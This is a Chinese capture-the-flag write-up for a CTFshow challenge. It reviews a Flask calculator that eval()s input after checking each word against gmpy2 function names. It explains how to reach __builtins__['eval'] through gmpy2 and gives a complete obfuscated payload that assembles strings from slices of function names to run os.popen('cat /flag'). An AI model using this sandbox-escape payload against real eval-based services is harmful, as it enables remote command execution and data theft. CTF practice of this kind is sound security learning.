CTFshow-_菜狗杯-算力升级
有一个计算功能的输入框
可以查看源码,题目过滤代码
def tiesuanzi(): code=request.form.get('code') for item in pattern.findall(code):#从code里把单词拿出来 if not re.match(r'\d+$',item):#如果不是数字 if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较 return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"}) try: result=eval(code) return jsonify({"result":0,"msg":f"计算成功,答案是{result}"}) except: return jsonify({"result":1,"msg":f"没有执行成功,请检查你的输入。"})
code是输入框提交的内容,下面这段代码是将code中由字母、数字、下划线组成的字符串取出
pattern=re.compile(r'\w+') for item in pattern.findall(code):
如果取出的不是数字就判断是否为gmpy2库(高精度算术运算库)的函数名,如果最后都是就eval(code)代码执行
那么我们可以看一下gmpy2库的函数有什么是可以利用的
先在本地安装gmpy2库,pip install gmpy2
查看所有函数名,结果有很多,不过没有可以直接利用的
import gmpy2 print(dir(gmpy2))
里面有gmpy2和__builtins__,看看gmpy2.__builtins__支持哪些函数,发现有eval
那么我们就可以通过对gmpy2库中的函数名中的字母进行拼接,来等效gmpy2.__builtins__['eval']("os.popen('cat /flag').read()")
这里可以直接用os是因为import os了,如果没有可以用gmpy2.__builtins__['eval']("__import__('os').popen('cat /flag').read()")
payload
gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]('cos'[1]+'cos'[2]+"."+'cmp'[2]+'cos'[1]+'cmp'[2]+'erf'[0]+'jn'[1]+"("+"'"+'cmp'[0]+'ai'[0]+'cot'[2]+" "+"/"+'erf'[2]+'lcm'[0]+'ai'[0]+'agm'[1]+"'"+")"+"."+'erf'[1]+'erf'[0]+'ai'[0]+'add'[1]+"("+")")